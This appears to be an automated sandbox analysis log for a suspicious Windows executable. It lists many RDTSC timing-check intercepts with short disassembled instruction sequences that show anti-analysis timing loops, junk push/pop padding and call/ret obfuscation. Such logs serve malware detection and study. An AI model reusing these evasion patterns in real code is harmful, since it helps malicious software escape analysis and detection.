Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E5010 second address: 9E5016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E5E13 second address: 9E5E1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E5016 second address: 9E501A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E6D98 second address: 9E6D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E7D8F second address: 9E7D95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E7D95 second address: 9E7E49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F97B4F2EDCEh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F97B4F2EDC8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov edi, esi 0x0000002d xor dword ptr [ebp+122D1BA0h], ebx 0x00000033 push 00000000h 0x00000035 sbb bx, C96Bh 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007F97B4F2EDC8h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 sbb bx, 021Ch 0x0000005b cmc 0x0000005c xchg eax, esi 0x0000005d push edx 0x0000005e js 00007F97B4F2EDDEh 0x00000064 jmp 00007F97B4F2EDD8h 0x00000069 pop edx 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f push ebx 0x00000070 pop ebx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E6F97 second address: 9E6F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E7E49 second address: 9E7E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E6F9D second address: 9E6FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E7E4D second address: 9E7E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E8D71 second address: 9E8D92 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F97B4EC49C7h 0x00000008 jmp 00007F97B4EC49C1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E8D92 second address: 9E8D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E8073 second address: 9E8077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E8D96 second address: 9E8D9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EA033 second address: 9EA041 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EA041 second address: 9EA04B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F97B4F2EDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EB0EC second address: 9EB0F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EB0F0 second address: 9EB0F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EB0F6 second address: 9EB0FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EB0FC second address: 9EB125 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jnl 00007F97B4F2EDCCh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F97B4F2EDD1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EB125 second address: 9EB1C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 je 00007F97B4EC49B9h 0x0000000e movzx edi, cx 0x00000011 mov dword ptr [ebp+122D2B35h], ebx 0x00000017 push dword ptr fs:[00000000h] 0x0000001e jp 00007F97B4EC49BBh 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b pushad 0x0000002c mov dword ptr [ebp+122D1C2Fh], ecx 0x00000032 jp 00007F97B4EC49BCh 0x00000038 popad 0x00000039 sub bx, 0184h 0x0000003e mov eax, dword ptr [ebp+122D1321h] 0x00000044 cld 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push ecx 0x0000004a call 00007F97B4EC49B8h 0x0000004f pop ecx 0x00000050 mov dword ptr [esp+04h], ecx 0x00000054 add dword ptr [esp+04h], 00000016h 0x0000005c inc ecx 0x0000005d push ecx 0x0000005e ret 0x0000005f pop ecx 0x00000060 ret 0x00000061 or edi, 4F229772h 0x00000067 nop 0x00000068 jmp 00007F97B4EC49BCh 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 jmp 00007F97B4EC49C9h 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EB1C7 second address: 9EB1CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EB1CC second address: 9EB1D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EB1D2 second address: 9EB1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EB1D6 second address: 9EB1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9ECE54 second address: 9ECE72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9ECE72 second address: 9ECE76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9ECE76 second address: 9ECEB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F97B4F2EDC8h 0x0000000c popad 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D1D51h], ebx 0x00000014 push 00000000h 0x00000016 stc 0x00000017 push 00000000h 0x00000019 sub ebx, 13A32A90h 0x0000001f xchg eax, esi 0x00000020 jmp 00007F97B4F2EDD0h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jno 00007F97B4F2EDC8h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9ECEB3 second address: 9ECEB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9F0C45 second address: 9F0CA5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F97B4F2EDCCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D265Ah], edx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F97B4F2EDC8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push eax 0x00000030 pushad 0x00000031 mov dword ptr [ebp+12453AEDh], edi 0x00000037 mov dword ptr [ebp+122D1B8Eh], edx 0x0000003d popad 0x0000003e pop ebx 0x0000003f push 00000000h 0x00000041 jbe 00007F97B4F2EDCCh 0x00000047 add edi, dword ptr [ebp+1247AF6Ah] 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushad 0x00000052 popad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9F0CA5 second address: 9F0CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EEE96 second address: 9EEEB2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F97B4F2EDCEh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EEF60 second address: 9EEF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EC0EF second address: 9EC0F5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EC0F5 second address: 9EC115 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F97B4EC49C1h 0x00000008 jmp 00007F97B4EC49BBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 jnc 00007F97B4EC49B6h 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EC115 second address: 9EC18C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007F97B4F2EDC6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d xor edi, 6F023801h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a call 00007F97B4F2EDCCh 0x0000001f pop edi 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 jmp 00007F97B4F2EDCFh 0x0000002c mov eax, dword ptr [ebp+122D0011h] 0x00000032 movsx ebx, bx 0x00000035 movzx edi, si 0x00000038 push FFFFFFFFh 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F97B4F2EDC8h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 nop 0x00000055 push eax 0x00000056 push edx 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a pop edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EFDD8 second address: 9EFDDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9F1C07 second address: 9F1C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 je 00007F97B4F2EDC9h 0x0000000b mov bx, dx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F97B4F2EDC8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov di, si 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007F97B4F2EDC8h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 mov dword ptr [ebp+122D1B22h], eax 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F97B4F2EDCCh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9F1C71 second address: 9F1C77 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9F1C77 second address: 9F1C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4F2EDCCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9EC18C second address: 9EC1A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F97B4EC49BAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9F2E22 second address: 9F2E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9F9449 second address: 9F944F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9F944F second address: 9F9458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9F9458 second address: 9F945E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9FD72A second address: 9FD757 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F97B4F2EDD4h 0x00000008 jmp 00007F97B4F2EDCEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jnp 00007F97B4F2EDC8h 0x0000001a push eax 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jnc 00007F97B4F2EDC6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9FD757 second address: 9FD79B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jc 00007F97B4EC49CFh 0x00000010 jmp 00007F97B4EC49C9h 0x00000015 pushad 0x00000016 jmp 00007F97B4EC49C8h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9FD79B second address: 9FD7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9FD7AA second address: 9FD7AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9FD7AE second address: 9FD7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F97B4F2EDCCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0429D second address: A042CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F97B4EC49C4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A042CC second address: A042F0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F97B4F2EDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F97B4F2EDD6h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A042F0 second address: A042F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A042F9 second address: A042FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A03A3D second address: A03A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A04154 second address: A04159 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A07990 second address: A079AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4EC49C5h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A079AC second address: A079C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F97B4F2EDD8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A079C9 second address: A079E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F97B4EC49C1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0ABD8 second address: A0AC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F97B4F2EDD9h 0x0000000e pushad 0x0000000f jmp 00007F97B4F2EDD7h 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0DC97 second address: A0DCB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4EC49C9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0DCB4 second address: A0DCE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F97B4F2EDE0h 0x0000000c pop ecx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0DCE2 second address: A0DCE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DF5DB second address: 9DF5ED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DFC14 second address: 9DFC19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DFD6B second address: 9DFD82 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F97B4F2EDC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F97B4F2EDC8h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DFE8D second address: 9DFEB5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jne 00007F97B4EC49BEh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F97B4EC49BCh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E00D3 second address: 9E0155 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F97B4F2EDC8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F97B4F2EDC8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 push 00000004h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F97B4F2EDC8h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 add dword ptr [ebp+122D1D6Eh], edx 0x0000004b jmp 00007F97B4F2EDCFh 0x00000050 mov edi, edx 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 jno 00007F97B4F2EDC6h 0x0000005c jc 00007F97B4F2EDC6h 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E0155 second address: 9E015A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E07AD second address: 9E07B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E07B1 second address: 9E07E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F97B4EC49BDh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E07E3 second address: 9E0813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4F2EDD9h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 jl 00007F97B4F2EDC8h 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
